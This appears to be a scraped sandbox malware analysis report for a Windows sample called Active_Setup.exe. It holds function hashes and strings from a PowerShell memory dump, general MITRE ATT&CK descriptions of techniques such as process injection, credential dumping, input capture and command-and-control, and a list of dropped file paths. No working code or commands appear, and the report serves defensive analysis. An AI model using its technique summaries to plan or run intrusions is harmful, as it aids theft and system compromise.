Instruction Fuzzy Hash: EFF01735A000059FCB04CF9CD890AEEF7B1FF88324F248159E515A72A0C332AC52CB50

Non-executed Functions

Function 074B08A0 Relevance: 10.3, Strings: 8, Instructions: 316COMMON

Download Yara Rule

Strings

#k, xrefs: 074B096F
4'^q, xrefs: 074B09A2
$^q, xrefs: 074B0A82
4'^q, xrefs: 074B09AE
$^q, xrefs: 074B0AA8
tP^q, xrefs: 074B0AED
tP^q, xrefs: 074B0AF9
$^q, xrefs: 074B0AB4

Memory Dump Source

Source File: 00000011.00000002.2111099058.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$#k$$^q$$^q$$^q
API String ID: 0-2610283901
Opcode ID: 202090927700505266b8825f219ab4666477a777ba4e7630fdf1b640669418c8
Instruction ID: cd41afbbe837df07c2cb5df99fee9eb106d7bbc8ffd89bfdefc8cc36ef588f24
Opcode Fuzzy Hash: 202090927700505266b8825f219ab4666477a777ba4e7630fdf1b640669418c8
Instruction Fuzzy Hash: 7CA146B17083458FD7358A7998106EBBBA1AFC6212F1888ABD455DB372DB32CC45C7B1

Function 074B1798 Relevance: 9.0, Strings: 7, Instructions: 244COMMON

Download Yara Rule

Strings

$^q, xrefs: 074B17DC
tP^q, xrefs: 074B1815
4'^q, xrefs: 074B19A5
tP^q, xrefs: 074B1821
4'^q, xrefs: 074B1999
$^q, xrefs: 074B17AA
$^q, xrefs: 074B17D0

Memory Dump Source

Source File: 00000011.00000002.2111099058.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: 8eb6b29e5e37236d7ba92bd44fb16bf5d28aadaa2e91d5b406741909dc233370
Instruction ID: 67904d20c876fe93c303a6b188607be14e5c4e0e17b5e8d9ff5cca640a7e11c2
Opcode Fuzzy Hash: 8eb6b29e5e37236d7ba92bd44fb16bf5d28aadaa2e91d5b406741909dc233370
Instruction Fuzzy Hash: 658112B17042498FC7358B7988206E7BBF6AF87610F1884ABD445CB362DA31DD46C7A2

Function 074B14E8 Relevance: 6.4, Strings: 5, Instructions: 190COMMON

Download Yara Rule

Strings

$^q, xrefs: 074B169A
4'^q, xrefs: 074B159E
$^q, xrefs: 074B16A6
4'^q, xrefs: 074B1592
$^q, xrefs: 074B166F

Memory Dump Source

Source File: 00000011.00000002.2111099058.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 218537be7f540485dce5610ff500ff8ff970adc5e8daeb11e8f78097354c0a61
Instruction ID: f7994a875811cb10799b59a9bbe77543e9d1934e3eb56a5c7168ab83fe325ebf
Opcode Fuzzy Hash: 218537be7f540485dce5610ff500ff8ff970adc5e8daeb11e8f78097354c0a61
Instruction Fuzzy Hash: 23514AB170430E8FCB355A6D98607E7BBA6AFC6210F28886BD446CB355DA31CC46C7B1

Function 074B34F9 Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

$^q, xrefs: 074B3574
$^q, xrefs: 074B3546
$^q, xrefs: 074B3580
$^q, xrefs: 074B352A

Memory Dump Source

Source File: 00000011.00000002.2111099058.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 990555e27a354333bccccf276264ff94def118fa67ac4b3004c86b33fba2ae1d
Instruction ID: 76b2d3d04e6a63f77720382e8e556c8ab3fda2ca415284ab619f0937ab34cbbc
Opcode Fuzzy Hash: 990555e27a354333bccccf276264ff94def118fa67ac4b3004c86b33fba2ae1d
Instruction Fuzzy Hash: E63123B17083886FDB350A2A5C90BE37FA6DBC6214F1A846BE545CF392D925DC4AC331

Function 074B3518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 074B3574
$^q, xrefs: 074B3546
$^q, xrefs: 074B3580
$^q, xrefs: 074B352A

Memory Dump Source

Source File: 00000011.00000002.2111099058.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: f6763cd6765b4d392ad807f9623a851739784afbe275cfdd0e632de7f63111b5
Instruction ID: ad805daabaf2c15f734aea3dc58055547388dfe8ce4098bbd623e5774db73edb
Opcode Fuzzy Hash: f6763cd6765b4d392ad807f9623a851739784afbe275cfdd0e632de7f63111b5
Instruction Fuzzy Hash: 052144B130030A5BDB385D6F9880BE7BEDADBC5715F25882BA409CB385DE36DC458271

Function 074B0571 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

4'^q, xrefs: 074B05E7
4'^q, xrefs: 074B05DB
$^q, xrefs: 074B05C6
$^q, xrefs: 074B05BA

Memory Dump Source

Source File: 00000011.00000002.2111099058.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 9d684bc90016b4eacad96f94967203e6f3b70cbfe4203c0c9df7aac5e7e71a0f
Instruction ID: 048c5b5a06c75941b91785689c2b0fdab4eae5ad83a2fd9a0d6d772ec7d603bb
Opcode Fuzzy Hash: 9d684bc90016b4eacad96f94967203e6f3b70cbfe4203c0c9df7aac5e7e71a0f
Instruction Fuzzy Hash: A101A26170D3890FC33A42681824AE66BA26BD2551B2A09ABC0819F3ABCD158C4A43A3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Active_Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\k

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Announces

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Britney

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Compound

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Fabrics

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Floral

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Forums

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Holly

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Hopes

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Howard

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Know

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Much

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Musicians

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Newark

Windows Analysis Report
Active_Setup.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre